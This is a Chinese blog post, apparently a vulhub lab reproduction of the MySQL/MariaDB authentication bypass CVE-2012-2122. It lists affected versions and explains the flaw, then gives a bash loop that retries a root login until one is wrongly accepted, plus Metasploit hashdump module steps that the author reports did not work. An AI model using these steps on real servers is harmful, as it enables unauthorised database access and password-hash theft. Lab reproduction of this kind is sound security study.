【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)

影响版本:

MySQL 5.1.x before 5.1.63,

                5.5.x before 5.5.24,

                5.6.x before 5.6.6,

 MariaDB 5.1.x before 5.1.62,

                5.2.x before 5.2.12

                5.3.x before 5.3.6

                5.x before 5.5.23

漏洞出现的原理:

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名且支持远程登录,然后不断尝试就能够直接登入SQL数据库。还有一个方法 msfconsole工具利用其带的SQL语句爆出密码,但是经过自己的测试发现无法得到密码(这里msf用的是自己服务器上搭的,可能存在问题)。

漏洞复现

法一:脚本循环爆破

【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)_第1张图片

正常登录:

用户:root 密码:123456

不正常就不会登录成功,但是如果写一个脚本循环进行登录就会出现开始说的MySQL可能出现的问题,如下:

#mysql.sh
for ((i = 1; i < 1000; i++))
do      
        mysql -h 127.0.0.1 -u root -p1234 -P 3306;
done

执行命令:bash mysql.sh

【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)_第2张图片

可以看到,即使前面一直在报错,但是到达了某一步时还是会登录成功,并且是拥有可执行查询权限的。

法二:metasploit工具打

这个工具kali自带,之前打红日2的时候用过,没有kali的可以参考安装教程:https://jingyan.baidu.com/article/2c8c281dabacad0008252aa6.html

步骤如下:

msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 你的外网IP
set THREADS 100
run

可惜了,一直不出结果,有可能是我搭的这个msf有问题还是啥的,MySQL的远程连接、错误连接次数的限制都改了还是不行,工作的电脑没有装kali,回去用自己电脑的kali试试吧。

【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)_第3张图片

 

参考:身份认证绕过漏洞复现 CVE-2012-2122 - 网安

CVE-2012-2122漏洞复现_muddlelife的博客-CSDN博客_cve-2012-2122

你可能感兴趣的:(Vulhub漏洞复现,mysql,数据库,sql,安全)